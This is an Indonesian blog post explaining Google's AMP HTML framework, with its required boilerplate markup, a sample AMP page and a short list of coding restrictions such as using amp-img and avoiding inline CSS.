Mengenal AMP Atau Accelerated Mobile Pages HTML

Mengenal AMP Atau Accelerated Mobile Pages HTML

Sobat pernah denger gak sih Accelerated Mobile Page? Akhir tahun 2015 Google merilis projek baru yaitu AMP HTML. AMP HTML atau Accelerated Mobile Pages HTML adalah struktur web yang meminimaliris penggunakaan JavaScript, Css, dan HTML. Visi dari AMP HTML adalah agar webmaster bisa merancang halaman web yang loading lebih cepat, tanpa banyak pengarus JS atau lainnya. AMP HTML memprioritaskan utama untuk user Mobile.

Untuk CSS tidak ada perubahan apapun, untuk HTML ada sedikit struktur berbeda dalam penulisannya diantaranya seperti tag IMG atau VIDEO menjadi amp-img dan amp-video.

Untuk render cepat, kita harus menggunakan AMP Javascript Library yang akan merender halaman dan menampilkan video, gambar, iframe dan lainnya dengan asynchronous. Hal yang wajib adanya dalam AMP HTML adalah :

Dimulai dengan <!doctype html>
Menyertakan <html ⚡> atau <html amp>.
Menyertakan <link rel="canonical" href="$SOME_URL" />, pada tag head untuk mengetahui versi AMP HTML.
Menyertakan <meta charset="utf-8">.
Menyertakan <meta name="viewport" content="width=device-width,minimum-scale=1"> pada tag head.
Menyertakan AMP Javascript Library <script async src="https://cdn.ampproject.org/v0.js"></script> pada tag head.
Menyertakan <style>body {opacity: 0}</style><noscript><style>body {opacity: 1}</style></noscript> pada tag head.

Maka contoh HTML adalah seperti di bawah ini. 
<!doctype html>
<html amp lang="en">
  <head>
    <meta charset="utf-8">
    <title>Hello, AMPs</title>
    <link rel="canonical" href="http://example.ampproject.org/article-metadata.html" />
    <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no,minimal-ui">
    <script type="application/ld+json">
      {
        "@context": "http://schema.org",
        "@type": "NewsArticle",
        "headline": "Open-source framework for publishing content",
        "datePublished": "2015-10-07T12:02:41Z",
        "image": [
          "logo.jpg"
        ]
      }
    </script>
    <style>body {opacity: 0}</style><noscript><style>body {opacity: 1}</style></noscript>
    <script async src="https://cdn.ampproject.org/v0.js"></script>
  </head>
  <body>
    <h1>Welcome to the mobile web</h1>
  </body>
</html>

Hal Yang Perlu Di Perhatikan

Dalam membuat web berbasis AMP HTML, selain hal di atas ada beberapa hal yang harus diperhatikan diantaranya :

Tidak boleh ada dua tag <style>, apabila ada penambahan maka gunakan <style amp-custom>, itupun hanya satu saja yang diizinkan.
Tidak boleh membuat inline CSS seperti <aside class='sidebar' style='margin-top:0;padding:10px'>.
Script harus external dan menggunakan async.
Script tidak diperbolehkan menggunakan attribute type='text/javascript'
Seperti di atas, tidak boleh menggunakan tag img tapi harus amp-img

Itu yang saya ingat, nanti saya tambahkan apabila ada aturan-aturan lain yang belum tertulis.
sekian informasi yang dapat saya berikan untuk sobat blogger sekalian. semoga bermanfaat.
Sumber Referensi Blog Kang Ismet.